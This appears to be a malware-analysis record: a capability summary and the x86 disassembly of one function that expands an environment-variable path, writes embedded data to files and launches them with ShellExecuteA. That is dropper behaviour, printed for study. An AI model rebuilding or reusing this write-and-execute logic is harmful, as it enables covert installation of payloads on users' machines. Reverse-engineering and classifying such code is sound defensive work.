Function at 0x40108c
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
nop
mov eax, 0x18
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x18]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x402021
mov dword [ebp - 0x18], eax
mov eax, 0x402026
mov dword [ebp - 0x14], eax
mov eax, 0x402033
mov dword [ebp - 0x10], eax
mov eax, 0xfd3c34
mov dword [ebp - 0xc], eax
mov eax, 0xfd3c39
mov dword [ebp - 8], eax
mov eax, 0xfd3c4a
mov dword [ebp - 4], eax
mov eax, 0x20
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x38]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 4
mov dword [ebp - 0x38], eax
mov eax, 0xc
mov dword [ebp - 0x34], eax
mov eax, 0xbd1c00
mov dword [ebp - 0x30], eax
mov eax, 1
mov dword [ebp - 0x2c], eax
mov eax, 4
mov dword [ebp - 0x28], eax
mov eax, 0x10
mov dword [ebp - 0x24], eax
mov eax, 0x286000
mov dword [ebp - 0x20], eax
mov eax, 1
mov dword [ebp - 0x1c], eax
mov eax, 0
mov dword [ebp - 0x44c], eax
mov eax, dword [ebp - 0x44c]
cmp eax, 2
jge 0x40134e
jmp 0x401164
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
jmp 0x401141
mov eax, dword [ebp - 0x44c]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x18]
add ecx, eax
mov eax, 0x1259c4b
push eax
mov eax, dword [ecx]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x4011db
mov eax, dword [ebp - 0x44c]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x18]
add ecx, eax
add ecx, 4
mov eax, dword [ebp - 0x44c]
shl eax, 4
lea edx, [ebp - 0x38]
add edx, eax
add edx, 4
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
lea eax, [ebp - 0x448]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x40126b
mov eax, dword [ebp - 0x44c]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x18]
add ecx, eax
mov eax, dword [ebp - 0x44c]
shl eax, 4
lea edx, [ebp - 0x38]
add edx, eax
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov ecx, dword [ebp - 0x44c]
mov edx, 0xc
imul ecx, edx
lea edx, [ebp - 0x18]
add edx, ecx
add edx, 4
mov ecx, dword [ebp - 0x44c]
shl ecx, 4
mov dword [ebp - 0x450], eax
lea eax, [ebp - 0x38]
add eax, ecx
add eax, 4
mov ecx, dword [eax]
push ecx
mov eax, dword [edx]
push eax
call section..text
add esp, 8
push eax
mov eax, dword [ebp - 0x450]
push eax
mov eax, 0x1259c5d
push eax
lea eax, [ebp - 0x448]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x10
mov eax, 0x1259c63
push eax
lea eax, [ebp - 0x448]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x454], eax
mov eax, dword [ebp - 0x44c]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x18]
add ecx, eax
add ecx, 8
mov eax, dword [ebp - 0x44c]
shl eax, 4
lea edx, [ebp - 0x38]
add edx, eax
add edx, 8
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
mov ecx, dword [ebp - 0x44c]
shl ecx, 4
lea edx, [ebp - 0x38]
add edx, ecx
add edx, 8
mov ecx, dword [ebp - 0x454]
push ecx
mov ecx, 1
push ecx
mov ecx, dword [edx]
push ecx
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x454]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0x44c]
shl eax, 4
lea ecx, [ebp - 0x38]
add ecx, eax
add ecx, 0xc
mov eax, dword [ecx]
cmp eax, 0
je 0x401349
mov eax, 4
push eax
mov eax, 0x1259c66
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0
push ecx
mov ecx, 0
push ecx
lea ecx, [ebp - 0x448]
push ecx
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x401155
mov eax, 0
leave
ret